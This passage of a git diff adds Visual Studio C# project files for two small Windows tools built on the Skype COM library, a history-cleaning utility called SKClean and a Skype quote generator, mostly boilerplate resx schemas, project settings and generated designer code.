+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <metadata name="$this.Locked" type="System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
+    <value>True</value>
+  </metadata>
+</root>
+\ No newline at end of file
diff --git a/c#/SKClean/SKClean/SKClean/Program.cs b/c#/SKClean/SKClean/SKClean/Program.cs
@@ -0,0 +1,15 @@
+#region Imports
+using System;
+using System.Windows.Forms;
+#endregion
+
+namespace SKClean {
+    static class Program {
+        [STAThread]
+        static void Main() {
+            Application.EnableVisualStyles();
+            Application.SetCompatibleTextRenderingDefault(false);
+            Application.Run(new Main());
+        }
+    }
+}
diff --git a/c#/SKClean/SKClean/SKClean/Properties/AssemblyInfo.cs b/c#/SKClean/SKClean/SKClean/Properties/AssemblyInfo.cs
@@ -0,0 +1,36 @@
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+// General Information about an assembly is controlled through the following 
+// set of attributes. Change these attribute values to modify the information
+// associated with an assembly.
+[assembly: AssemblyTitle("SKClean")]
+[assembly: AssemblyDescription("A Skype tool to quickly remove all your messages & erase history.")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCompany("LCS Inc.")]
+[assembly: AssemblyProduct("SKClean")]
+[assembly: AssemblyCopyright("Copyright ©  2014")]
+[assembly: AssemblyTrademark("LCS Inc.")]
+[assembly: AssemblyCulture("")]
+
+// Setting ComVisible to false makes the types in this assembly not visible 
+// to COM components.  If you need to access a type in this assembly from 
+// COM, set the ComVisible attribute to true on that type.
+[assembly: ComVisible(false)]
+
+// The following GUID is for the ID of the typelib if this project is exposed to COM
+[assembly: Guid("87c1aa4d-d5e6-47ca-bcd9-bb3d88f147fe")]
+
+// Version information for an assembly consists of the following four values:
+//
+//      Major Version
+//      Minor Version 
+//      Build Number
+//      Revision
+//
+// You can specify all the values or you can default the Build and Revision Numbers 
+// by using the '*' as shown below:
+// [assembly: AssemblyVersion("1.0.*")]
+[assembly: AssemblyVersion("1.0.0.0")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
diff --git a/c#/SKClean/SKClean/SKClean/Properties/Resources.Designer.cs b/c#/SKClean/SKClean/SKClean/Properties/Resources.Designer.cs
@@ -0,0 +1,71 @@
+//------------------------------------------------------------------------------
+// <auto-generated>
+//     This code was generated by a tool.
+//     Runtime Version:4.0.30319.18449
+//
+//     Changes to this file may cause incorrect behavior and will be lost if
+//     the code is regenerated.
+// </auto-generated>
+//------------------------------------------------------------------------------
+
+namespace SKClean.Properties
+{
+
+
+    /// <summary>
+    ///   A strongly-typed resource class, for looking up localized strings, etc.
+    /// </summary>
+    // This class was auto-generated by the StronglyTypedResourceBuilder
+    // class via a tool like ResGen or Visual Studio.
+    // To add or remove a member, edit your .ResX file then rerun ResGen
+    // with the /str option, or rebuild your VS project.
+    [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
+    [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
+    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
+    internal class Resources
+    {
+
+        private static global::System.Resources.ResourceManager resourceMan;
+
+        private static global::System.Globalization.CultureInfo resourceCulture;
+
+        [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
+        internal Resources()
+        {
+        }
+
+        /// <summary>
+        ///   Returns the cached ResourceManager instance used by this class.
+        /// </summary>
+        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
+        internal static global::System.Resources.ResourceManager ResourceManager
+        {
+            get
+            {
+                if ((resourceMan == null))
+                {
+                    global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("SKClean.Properties.Resources", typeof(Resources).Assembly);
+                    resourceMan = temp;
+                }
+                return resourceMan;
+            }
+        }
+
+        /// <summary>
+        ///   Overrides the current thread's CurrentUICulture property for all
+        ///   resource lookups using this strongly typed resource class.
+        /// </summary>
+        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
+        internal static global::System.Globalization.CultureInfo Culture
+        {
+            get
+            {
+                return resourceCulture;
+            }
+            set
+            {
+                resourceCulture = value;
+            }
+        }
+    }
+}
diff --git a/c#/SKClean/SKClean/SKClean/Properties/Resources.resx b/c#/SKClean/SKClean/SKClean/Properties/Resources.resx
@@ -0,0 +1,117 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>
+\ No newline at end of file
diff --git a/c#/SKClean/SKClean/SKClean/Properties/Settings.Designer.cs b/c#/SKClean/SKClean/SKClean/Properties/Settings.Designer.cs
@@ -0,0 +1,30 @@
+//------------------------------------------------------------------------------
+// <auto-generated>
+//     This code was generated by a tool.
+//     Runtime Version:4.0.30319.18449
+//
+//     Changes to this file may cause incorrect behavior and will be lost if
+//     the code is regenerated.
+// </auto-generated>
+//------------------------------------------------------------------------------
+
+namespace SKClean.Properties
+{
+
+
+    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
+    [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
+    internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
+    {
+
+        private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
+
+        public static Settings Default
+        {
+            get
+            {
+                return defaultInstance;
+            }
+        }
+    }
+}
diff --git a/c#/SKClean/SKClean/SKClean/Properties/Settings.settings b/c#/SKClean/SKClean/SKClean/Properties/Settings.settings
@@ -0,0 +1,7 @@
+<?xml version='1.0' encoding='utf-8'?>
+<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)">
+  <Profiles>
+    <Profile Name="(Default)" />
+  </Profiles>
+  <Settings />
+</SettingsFile>
diff --git a/c#/SKClean/SKClean/SKClean/SKClean.csproj b/c#/SKClean/SKClean/SKClean/SKClean.csproj
@@ -0,0 +1,106 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="12.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{07708324-3B4B-43AA-A630-9FD2263C8134}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AppDesignerFolder>Properties</AppDesignerFolder>
+    <RootNamespace>SKClean</RootNamespace>
+    <AssemblyName>SKClean</AssemblyName>
+    <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
+    <FileAlignment>512</FileAlignment>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+    <UseVSHostingProcess>false</UseVSHostingProcess>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup>
+    <ApplicationIcon>icon.ico</ApplicationIcon>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="System" />
+    <Reference Include="System.Core" />
+    <Reference Include="System.Xml.Linq" />
+    <Reference Include="System.Data.DataSetExtensions" />
+    <Reference Include="Microsoft.CSharp" />
+    <Reference Include="System.Data" />
+    <Reference Include="System.Deployment" />
+    <Reference Include="System.Drawing" />
+    <Reference Include="System.Windows.Forms" />
+    <Reference Include="System.Xml" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="Main.cs">
+      <SubType>Form</SubType>
+    </Compile>
+    <Compile Include="Main.Designer.cs">
+      <DependentUpon>Main.cs</DependentUpon>
+    </Compile>
+    <Compile Include="Program.cs" />
+    <Compile Include="Properties\AssemblyInfo.cs" />
+    <EmbeddedResource Include="Main.resx">
+      <DependentUpon>Main.cs</DependentUpon>
+    </EmbeddedResource>
+    <EmbeddedResource Include="Properties\Resources.resx">
+      <Generator>ResXFileCodeGenerator</Generator>
+      <LastGenOutput>Resources.Designer.cs</LastGenOutput>
+      <SubType>Designer</SubType>
+    </EmbeddedResource>
+    <Compile Include="Properties\Resources.Designer.cs">
+      <AutoGen>True</AutoGen>
+      <DependentUpon>Resources.resx</DependentUpon>
+    </Compile>
+    <None Include="Properties\Settings.settings">
+      <Generator>SettingsSingleFileGenerator</Generator>
+      <LastGenOutput>Settings.Designer.cs</LastGenOutput>
+    </None>
+    <Compile Include="Properties\Settings.Designer.cs">
+      <AutoGen>True</AutoGen>
+      <DependentUpon>Settings.settings</DependentUpon>
+      <DesignTimeSharedInput>True</DesignTimeSharedInput>
+    </Compile>
+  </ItemGroup>
+  <ItemGroup>
+    <None Include="App.config" />
+  </ItemGroup>
+  <ItemGroup>
+    <COMReference Include="SKYPE4COMLib">
+      <Guid>{03282B5D-B38F-469D-849A-09B0A7F4881B}</Guid>
+      <VersionMajor>1</VersionMajor>
+      <VersionMinor>0</VersionMinor>
+      <Lcid>0</Lcid>
+      <WrapperTool>tlbimp</WrapperTool>
+      <Isolated>False</Isolated>
+      <EmbedInteropTypes>True</EmbedInteropTypes>
+    </COMReference>
+  </ItemGroup>
+  <ItemGroup>
+    <Content Include="icon.ico" />
+  </ItemGroup>
+  <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
+  <!-- To modify your build process, add your task inside one of the targets below and uncomment it. 
+       Other similar extension points exist, see Microsoft.Common.targets.
+  <Target Name="BeforeBuild">
+  </Target>
+  <Target Name="AfterBuild">
+  </Target>
+  -->
+</Project>
+\ No newline at end of file
diff --git a/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.exe b/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.exe
Binary files differ.
diff --git a/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.exe.config b/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.exe.config
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<configuration>
+    <startup> 
+        <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
+    </startup>
+</configuration>
+\ No newline at end of file
diff --git a/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.pdb b/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.pdb
Binary files differ.
diff --git a/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.vshost.exe b/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.vshost.exe
Binary files differ.
diff --git a/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.vshost.exe.config b/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.vshost.exe.config
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<configuration>
+    <startup> 
+        <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
+    </startup>
+</configuration>
+\ No newline at end of file
diff --git a/c#/SKClean/SKClean/SKClean/icon.ico b/c#/SKClean/SKClean/SKClean/icon.ico
Binary files differ.
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/DesignTimeResolveAssemblyReferences.cache b/c#/SKClean/SKClean/SKClean/obj/Debug/DesignTimeResolveAssemblyReferences.cache
Binary files differ.
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/c#/SKClean/SKClean/SKClean/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
Binary files differ.
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/Interop.SKYPE4COMLib.dll b/c#/SKClean/SKClean/SKClean/obj/Debug/Interop.SKYPE4COMLib.dll
Binary files differ.
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.Main.resources b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.Main.resources
Binary files differ.
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.Properties.Resources.resources b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.Properties.Resources.resources
Binary files differ.
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.FileListAbsolute.txt b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.FileListAbsolute.txt
@@ -0,0 +1,33 @@
+c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\bin\Debug\SKClean.exe.config
+c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\bin\Debug\SKClean.exe
+c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\bin\Debug\SKClean.pdb
+c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.csprojResolveAssemblyReference.cache
+c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\Interop.SKYPE4COMLib.dll
+c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.csproj.ResolveComReference.cache
+c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.Main.resources
+c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.Properties.Resources.resources
+c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.csproj.GenerateResource.Cache
+c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.exe
+c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.pdb
+C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\bin\Debug\SKClean.exe.config
+C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\bin\Debug\SKClean.exe
+C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\bin\Debug\SKClean.pdb
+C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.csprojResolveAssemblyReference.cache
+C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\Interop.SKYPE4COMLib.dll
+C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.csproj.ResolveComReference.cache
+C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.Main.resources
+C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.Properties.Resources.resources
+C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.csproj.GenerateResource.Cache
+C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.exe
+C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.pdb
+C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\bin\Debug\SKClean.exe.config
+C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\bin\Debug\SKClean.exe
+C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\bin\Debug\SKClean.pdb
+C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.csprojResolveAssemblyReference.cache
+C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\Interop.SKYPE4COMLib.dll
+C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.csproj.ResolveComReference.cache
+C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.Main.resources
+C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.Properties.Resources.resources
+C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.csproj.GenerateResource.Cache
+C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.exe
+C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.pdb
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.GenerateResource.Cache b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.GenerateResource.Cache
Binary files differ.
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.ResolveComReference.cache b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.ResolveComReference.cache
Binary files differ.
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csprojResolveAssemblyReference.cache b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csprojResolveAssemblyReference.cache
Binary files differ.
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.exe b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.exe
Binary files differ.
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.pdb b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.pdb
Binary files differ.
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs b/c#/SKClean/SKClean/SKClean/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs b/c#/SKClean/SKClean/SKClean/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs b/c#/SKClean/SKClean/SKClean/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs
diff --git a/c#/Skype Quote Generator/Skype Quote Generator.exe b/c#/Skype Quote Generator/Skype Quote Generator.exe
Binary files differ.
diff --git a/c#/Skype Quote Generator/Source/.vs/SkypeQuote/v14/.suo b/c#/Skype Quote Generator/Source/.vs/SkypeQuote/v14/.suo
Binary files differ.
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote.sln b/c#/Skype Quote Generator/Source/SkypeQuote.sln
@@ -0,0 +1,22 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio 14
+VisualStudioVersion = 14.0.23107.0
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SkypeQuote", "SkypeQuote\SkypeQuote.csproj", "{D1F9E552-3450-4593-A23F-AC68B5F0FEF9}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{D1F9E552-3450-4593-A23F-AC68B5F0FEF9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{D1F9E552-3450-4593-A23F-AC68B5F0FEF9}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{D1F9E552-3450-4593-A23F-AC68B5F0FEF9}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{D1F9E552-3450-4593-A23F-AC68B5F0FEF9}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/App.config b/c#/Skype Quote Generator/Source/SkypeQuote/App.config
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8"?>
+<configuration>
+    <startup> 
+        
+    <supportedRuntime version="v2.0.50727"/></startup>
+</configuration>
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/ClassDiagram1.cd b/c#/Skype Quote Generator/Source/SkypeQuote/ClassDiagram1.cd
@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="utf-8"?>
+<ClassDiagram /> 
+\ No newline at end of file
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Main.Designer.cs b/c#/Skype Quote Generator/Source/SkypeQuote/Main.Designer.cs
@@ -0,0 +1,152 @@
+namespace SkypeQuote
+{
+    partial class Main
+    {
+        /// <summary>
+        /// Required designer variable.
+        /// </summary>
+        private System.ComponentModel.IContainer components = null;
+
+        /// <summary>
+        /// Clean up any resources being used.
+        /// </summary>
+        /// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
+        protected override void Dispose(bool disposing)
+        {
+            if (disposing && (components != null))
+            {
+                components.Dispose();
+            }
+            base.Dispose(disposing);
+        }
+
+        #region Windows Form Designer generated code
+
+        /// <summary>
+        /// Required method for Designer support - do not modify
+        /// the contents of this method with the code editor.
+        /// </summary>
+        private void InitializeComponent()
+        {
+            System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Main));
+            this.NameBox = new System.Windows.Forms.TextBox();
+            this.label1 = new System.Windows.Forms.Label();
+            this.label2 = new System.Windows.Forms.Label();
+            this.TimeBox = new System.Windows.Forms.TextBox();
+            this.MessageBox = new System.Windows.Forms.TextBox();
+            this.label3 = new System.Windows.Forms.Label();
+            this.CopyButton = new System.Windows.Forms.Button();
+            this.NowButton = new System.Windows.Forms.Button();
+            this.SuspendLayout();
+            // 
+            // NameBox
+            // 
+            this.NameBox.Location = new System.Drawing.Point(79, 10);
+            this.NameBox.Name = "NameBox";
+            this.NameBox.Size = new System.Drawing.Size(158, 20);
+            this.NameBox.TabIndex = 0;
+            // 
+            // label1
+            // 
+            this.label1.AutoSize = true;
+            this.label1.Location = new System.Drawing.Point(13, 13);
+            this.label1.Name = "label1";
+            this.label1.Size = new System.Drawing.Size(38, 13);
+            this.label1.TabIndex = 1;
